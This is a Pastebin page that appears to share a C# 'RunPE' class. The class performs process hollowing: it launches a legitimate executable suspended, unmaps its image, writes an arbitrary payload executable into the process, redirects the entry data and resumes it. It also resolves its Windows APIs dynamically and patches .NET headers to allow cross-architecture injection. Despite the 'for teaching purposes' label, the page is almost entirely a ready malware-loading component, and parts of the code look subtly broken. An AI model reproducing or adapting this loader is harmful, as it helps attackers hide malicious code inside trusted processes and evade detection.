Guest User

Untitled

a guest
Jun 5th, 2017
832
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 14.28 KB | None | 0 0
  1. using System;
  2.  
  3.  internal class MenaPE
  4.  {
  5.  
  6.         //------------------------------
  7.         //Title: MenaPE (RunPE Class)
  8.         //Author: Menalix
  9.         //Website: Menalix.com
  10.         //Notice: For teaching purposes
  11.         //------------------------------
  12.  
  13.      private bool InstanceFieldsInitialized = false;
  14.  
  15.      public MenaPE()
  16.      {
  17.          if (!InstanceFieldsInitialized)
  18.          {
  19.              InitializeInstanceFields();
  20.              InstanceFieldsInitialized = true;
  21.          }
  22.      }
  23.  
  24.      private void InitializeInstanceFields()
  25.      {
  26.          CreateProcess = CreateApi<CreateProcessParameters>("kernel32", "CreateProcessA");
  27.      }
  28.  
  29.     #region Static API Calls
  30.  
  31.         [System.Runtime.InteropServices.DllImport("kernel32", EntryPoint="LoadLibraryA", ExactSpelling=true, CharSet=System.Runtime.InteropServices.CharSet.Ansi, SetLastError=true)]
  32.         public static extern IntPtr LoadLibraryA(string Name);
  33.         [System.Runtime.InteropServices.DllImport("kernel32", EntryPoint="GetProcAddress", ExactSpelling=true, CharSet=System.Runtime.InteropServices.CharSet.Ansi, SetLastError=true)]
  34.         public static extern IntPtr GetProcAddress(IntPtr hProcess, string Name);
  35.     #endregion
  36.  
  37.     #region Dynamic API Caller
  38.  
  39.         private T CreateApi<T>(string Name, string Method)
  40.         {
  41.             return (T)(object)Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(Name), Method), typeof(T));
  42.         }
  43.  
  44.     #endregion
  45.  
  46.     #region Dynamic API's
  47.  
  48.         private delegate bool ReadProcessMemoryParameters(uint hProcess, IntPtr lpBaseAddress, ref int lpBuffer, IntPtr nSize, ref IntPtr lpNumberOfBytesWritten);
  49.         private readonly ReadProcessMemoryParameters ReadProcessMemory = CreateApi<ReadProcessMemoryParameters>("kernel32", "ReadProcessMemory");
  50.  
  51.         private delegate bool CreateProcessParameters(string ApplicationName, string CommandLine, IntPtr ProcessAttributes, IntPtr ThreadAttributes, bool InheritHandles, uint CreationFlags, IntPtr Environment, string CurrentDirectory, ref STARTUPINFO StartupInfo, ref PROCESS_INFORMATION ProcessInformation);
  52.         private CreateProcessParameters CreateProcess;
  53.  
  54.         private delegate uint NtQueryInformationProcessParameters(IntPtr hProcess, int ProcessInformationClass, ref PROCESS_BASIC_INFORMATION ProcessInformation, uint ProcessInformationLength, ref UIntPtr ReturnLength);
  55.         private readonly NtQueryInformationProcessParameters NtQueryInformationProcess = CreateApi<NtQueryInformationProcessParameters>("ntdll", "NtQueryInformationProcess");
  56.  
  57.         private delegate bool GetThreadContext64Parameters(IntPtr hThread, ref CONTEXT32 lpContext);
  58.         private GetThreadContext64Parameters GetThreadContext64 = null;
  59.  
  60.         private delegate bool IsWow64ProcessParameters(IntPtr hProcess, ref bool Wow64Process);
  61.         private readonly IsWow64ProcessParameters IsWow64Process = CreateApi<IsWow64ProcessParameters>("kernel32", "IsWow64Process");
  62.  
  63.         private delegate bool WriteProcessMemoryParameters(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);
  64.         private readonly WriteProcessMemoryParameters WriteProcessMemory = CreateApi<WriteProcessMemoryParameters>("kernel32", "WriteProcessMemory");
  65.  
  66.         private delegate uint NtUnmapViewOfSectionParameters(IntPtr hProcess, IntPtr pBaseAddress);
  67.         private readonly NtUnmapViewOfSectionParameters NtUnmapViewOfSection = CreateApi<NtUnmapViewOfSectionParameters>("ntdll", "NtUnmapViewOfSection");
  68.  
  69.         private delegate IntPtr VirtualAllocExParameters(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  70.         private readonly VirtualAllocExParameters VirtualAllocEx = CreateApi<VirtualAllocExParameters>("kernel32", "VirtualAllocEx");
  71.  
  72.         private delegate uint ResumeThreadParameters(IntPtr hThread);
  73.         private readonly ResumeThreadParameters ResumeThread = CreateApi<ResumeThreadParameters>("kernel32", "ResumeThread");
  74.  
  75.     #endregion
  76.  
  77.     #region API Structures
  78.         private struct PROCESS_INFORMATION
  79.         {
  80.             public IntPtr hProcess;
  81.             public IntPtr hThread;
  82.             public uint dwProcessId;
  83.             public uint dwThreadId;
  84.         }
  85.         private struct STARTUPINFO
  86.         {
  87.             public uint cb;
  88.             public string lpReserved;
  89.             public string lpDesktop;
  90.             public string lpTitle;
  91.             [Runtime.InteropServices.MarshalAs(Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst=36)]
  92.             public byte[] Misc;
  93.             public byte lpReserved2;
  94.             public IntPtr hStdInput;
  95.             public IntPtr hStdOutput;
  96.             public IntPtr hStdError;
  97.         }
  98.         public struct FLOATING_SAVE_AREA
  99.         {
  100.             public uint Control;
  101.             public uint Status;
  102.             public uint Tag;
  103.             public uint ErrorO;
  104.             public uint ErrorS;
  105.             public uint DataO;
  106.             public uint DataS;
  107.             [System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst=80)]
  108.             public byte[] RegisterArea;
  109.             public uint State;
  110.         }
  111.         public struct CONTEXT32
  112.         {
  113.             public uint ContextFlags;
  114.             public uint Dr0;
  115.             public uint Dr1;
  116.             public uint Dr2;
  117.             public uint Dr3;
  118.             public uint Dr6;
  119.             public uint Dr7;
  120.             public FLOATING_SAVE_AREA FloatSave;
  121.             public uint SegGs;
  122.             public uint SegFs;
  123.             public uint SegEs;
  124.             public uint SegDs;
  125.             public uint Edi;
  126.             public uint Esi;
  127.             public uint Ebx;
  128.             public uint Edx;
  129.             public uint Ecx;
  130.             public uint Eax;
  131.             public uint Ebp;
  132.             public uint Eip;
  133.             public uint SegCs;
  134.             public uint EFlags;
  135.             public uint Esp;
  136.             public uint SegSs;
  137.             [System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst=512)]
  138.             public byte[] ExtendedRegisters;
  139.         }
  140.         public struct PROCESS_BASIC_INFORMATION
  141.         {
  142.             public IntPtr ExitStatus;
  143.             public IntPtr PebBaseAddress;
  144.             public IntPtr AffinityMask;
  145.             public IntPtr BasePriority;
  146.             public IntPtr UniqueProcessID;
  147.             public IntPtr InheritedFromUniqueProcessId;
  148.         }
  149.     #endregion
  150.  
  151.     #region Injection
  152.  
  153.         public bool Run(string path, byte[] payload, int creationflag)
  154.         {
  155.             for (int I = 1; I <= 5; I++)
  156.             {
  157.                 if (HandleRun(path, payload, creationflag))
  158.                 {
  159.                     return true;
  160.                 }
  161.             }
  162.             return false;
  163.         }
  164.  
  165.         private bool HandleRun(string Path, byte[] payload, int creationflag)
  166.         {
  167.             int ReadWrite = 0;
  168.             string QuotedPath = string.Format("\"{0}\"", Path);
  169.  
  170.             STARTUPINFO SI = new STARTUPINFO();
  171.             PROCESS_INFORMATION PI = new PROCESS_INFORMATION();
  172.  
  173.             SI.cb = Convert.ToUInt32(Runtime.InteropServices.Marshal.SizeOf(typeof(STARTUPINFO))); //Parses the size of the structure to the structure, so it retrieves the right size of data
  174.  
  175.             try
  176.             {
  177.                 //COMMENT: Creating a target process in suspended state, which makes it patch ready and we also retrieves its process information and startup information.
  178.                 if (!CreateProcess(Path, QuotedPath, IntPtr.Zero, IntPtr.Zero, true, (uint)creationflag, IntPtr.Zero, IO.Directory.GetCurrentDirectory(), ref SI, ref PI))
  179.                 {
  180.                     throw new Exception();
  181.                 }
  182.  
  183.                 //COMMENT: Defines some variables we need in the next process
  184.                 PROCESS_BASIC_INFORMATION ProccessInfo = new PROCESS_BASIC_INFORMATION();
  185.                 uint RetLength = 0;
  186.                 dynamic Context = null;
  187.                 int PEBAddress32 = 0;
  188.                 Int64 PEBAddress64 = 0;
  189.                 bool TargetIs64 = false;
  190.                 bool IsWow64Proc = false;
  191.  
  192.                 IsWow64Process(PI.hProcess, ref IsWow64Proc); //COMMENT: Retrieves Boolean to know if target process is a 32bit process running in 32bit system, or a 32bit process running under WOW64 in a 64bit system.
  193.                 if (IsWow64Proc || IntPtr.Size == 4) //COMMENT: Checks the Boolean retrieved from before OR checks if our calling process is 32bit
  194.                 {
  195.                     Context = new CONTEXT32();
  196.                     Context.ContextFlags = 0x1000002L; //COMMENT: Parses the context flag CONTEXT_AMD64(&H00100000L) + CONTEXT_INTEGER(0x00000002L) to tell that we want a structure of a 32bit process running under WOW64, you can see all context flags in winnt.h header file.
  197.                     if (IsWow64Proc && IntPtr.Size == 8) //COMMENT: Checks if our own process is 64bit and the target process is 32bit in wow64
  198.                     {
  199.                         GetThreadContext64 = CreateApi<GetThreadContext64Parameters>("kernel32", "Wow64GetThreadContext"); //COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
  200.                         if (!GetThreadContext64(PI.hThread, ref Context))
  201.                         {
  202.                             throw new Exception();
  203.                         }
  204.                         Console.WriteLine(Context.Ebx);
  205.                         PEBAddress32 = Context.Ebx;
  206.                         TargetIs64 = false;
  207.                     }
  208.                     else //COMMENT: If our process is 32bit and the target process is 32bit we get here.
  209.                     {
  210.                         NtQueryInformationProcess(PI.hProcess, 0, ref ProccessInfo, (uint)Runtime.InteropServices.Marshal.SizeOf(ProccessInfo), ref RetLength); //COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
  211.                         PEBAddress32 = ProccessInfo.PebBaseAddress;
  212.                         TargetIs64 = false;
  213.                     }
  214.                 }
  215.                 else //COMMENT: If our process is 64bit and the target process is 64bit we get here.
  216.                 {
  217.                     NtQueryInformationProcess(PI.hProcess, 0, ref ProccessInfo, (uint)Runtime.InteropServices.Marshal.SizeOf(ProccessInfo), ref RetLength); //COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
  218.                     PEBAddress64 = ProccessInfo.PebBaseAddress;
  219.                     TargetIs64 = true;
  220.                 }
  221.  
  222.  
  223.                 IntPtr BaseAddress = default(IntPtr);
  224.                 if (TargetIs64 == true)
  225.                 {
  226.                     ReadProcessMemory(PI.hProcess, PEBAddress64 + 0x10, ref BaseAddress, (System.IntPtr)4, ref ReadWrite); //COMMENT: Reads the BaseAddress of a 64bit Process, which is where the exe data starts
  227.                 }
  228.                 else
  229.                 {
  230.                     ReadProcessMemory(PI.hProcess, PEBAddress32 + 0x8, ref BaseAddress, (System.IntPtr)4, ref ReadWrite); //COMMENT: Reads the BaseAddress of a 32bit Process, which is where the exe data starts
  231.                 }
  232.  
  233.                 bool PayloadIs64 = false;
  234.                 int dwPEHeaderAddress = BitConverter.ToInt32(payload, 0x3C); //COMMENT: Gets the PEHeader start address
  235.                 int dwNetDirFlags = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x398); //COMMENT: Gets the .NET Header Flags value to determine if its a AnyCPU Compiled exe or not
  236.                 int wMachine = BitConverter.ToInt16(payload, dwPEHeaderAddress + 0x4); //COMMENT: Gets the reads the Machine value
  237.  
  238.                 if (wMachine == 8664) //Checks the Machine value to know if payload is 64bit or not"
  239.                 {
  240.                     PayloadIs64 = true;
  241.                 }
  242.                 else
  243.                 {
  244.                      PayloadIs64 = false;
  245.                      }
  246.  
  247.                 if (PayloadIs64 == false)
  248.                 {
  249.                     if (dwNetDirFlags == 0x3) //To make sure we don't rewrite flags on a Payload which is already AnyCPU Compiled, it will only slow us down
  250.                     {
  251.                         Buffer.SetByte(payload, dwPEHeaderAddress + 0x398, 0x1); //Replaces the .NET Header Flag on a 32bit compiled payload, to make it possible doing 32bit -> 64bit injection
  252.                     }
  253.                 }
  254.  
  255.                 int dwImageBase = 0;
  256.                 if (PayloadIs64 == true)
  257.                 {
  258.                     dwImageBase = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x30); //Reads the ImageBase value of a 64bit payload, it's kind of unnessecary as ImageBase should always be: &H400000, this is the virtual addressstart location for our exe in its own memory space
  259.                 }
  260.                 else
  261.                 {
  262.                     dwImageBase = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x34); //Reads the ImageBase value of a 32bit payload, it's kind of unnessecary as ImageBase should always be: &H400000, this is the virtual address start location for our exe in its own memory space
  263.                 }
  264.  
  265.                 if (dwImageBase == BaseAddress) //COMMENT: If the BaseAddress of our Exe is matching the ImageBase, it's because it's mapped and we have to unmap it
  266.                 {
  267.                     if (!(NtUnmapViewOfSection(PI.hProcess, BaseAddress) == 0)) //COMMENT: Unmapping it
  268.                     {
  269.                         throw new Exception();
  270.                     }
  271.                 }
  272.  
  273.                 int dwSizeOfImage = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x50);
  274.                 int dwNewImageBase = VirtualAllocEx(PI.hProcess, dwImageBase, (uint)dwSizeOfImage, 0x3000, 0x40); //COMMENT: Makes the process ready to write in by specifying how much space we need to do it and where we need it
  275.                 if (dwNewImageBase == 0)
  276.                 {
  277.                     throw new Exception();
  278.                 }
  279.  
  280.                 int dwSizeOfHeaders = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x54);
  281.                 if (!WriteProcessMemory(PI.hProcess, dwNewImageBase, payload, (uint)dwSizeOfHeaders, ref ReadWrite)) //Writes the size of the payloads PE header to the target
  282.                 {
  283.                     throw new Exception();
  284.                 }
  285.  
  286.                 //COMMENT: This is here where most of the magic happens. We write in all our sections data, which contains our resssources, code and the information to utilize the sections: VirtualAddress, SizeOfRawData and PointerToRawData
  287.                 short SizeOfOptionalHeader = BitConverter.ToInt16(payload, dwPEHeaderAddress + 0x14);
  288.                 int SectionOffset = dwPEHeaderAddress + (0x16 + SizeOfOptionalHeader + 0x2);
  289.                 short NumberOfSections = BitConverter.ToInt16(payload, dwPEHeaderAddress + 0x6);
  290.                 for (int I = 0; I < NumberOfSections; I++)
  291.                 {
  292.                     int VirtualAddress = BitConverter.ToInt32(payload, SectionOffset + 0xC);
  293.                     int SizeOfRawData = BitConverter.ToInt32(payload, SectionOffset + 0x10);
  294.                     int PointerToRawData = BitConverter.ToInt32(payload, SectionOffset + 0x14);
  295.                     if (!(SizeOfRawData == 0))
  296.                     {
  297.                         byte[] SectionData = new byte[SizeOfRawData];
  298.                         Buffer.BlockCopy(payload, PointerToRawData, SectionData, 0, SectionData.Length);
  299.                         if (!WriteProcessMemory(PI.hProcess, dwNewImageBase + VirtualAddress, SectionData, (uint)SectionData.Length, ref ReadWrite))
  300.                         {
  301.                             throw new Exception();
  302.                         }
  303.                     }
  304.                     SectionOffset += 0x28;
  305.                 }
  306.  
  307.                 byte[] PointerData = BitConverter.GetBytes(dwNewImageBase);
  308.                 if (TargetIs64 == true)
  309.                 {
  310.                     if (!WriteProcessMemory(PI.hProcess, PEBAddress64 + 0x10, PointerData, 4, ref ReadWrite)) //Writes the new etrypoint for 64bit target
  311.                     {
  312.                         throw new Exception();
  313.                     }
  314.                 }
  315.                 else
  316.                 {
  317.                     if (!WriteProcessMemory(PI.hProcess, PEBAddress32 + 0x8, PointerData, 4, ref ReadWrite)) //Writes the new entrypoint for 32bit target
  318.                     {
  319.                         throw new Exception();
  320.                     }
  321.                 }
  322.                 if (ResumeThread(PI.hThread) == -1) //Resumes the suspended target with all its new exciting data
  323.                 {
  324.                     throw new Exception();
  325.                 }
  326.  
  327.             }
  328.             catch (Exception ex)
  329.             {
  330.                 Process P = Process.GetProcessById(Convert.ToInt32(PI.dwProcessId));
  331.                 if (P != null)
  332.                 {
  333.                     P.Kill();
  334.                 }
  335.                 return false;
  336.             }
  337.  
  338.             return true;
  339.         }
  340.     #endregion
  341.  
  342.     }
Advertisement
Add Comment
Please, Sign In to add comment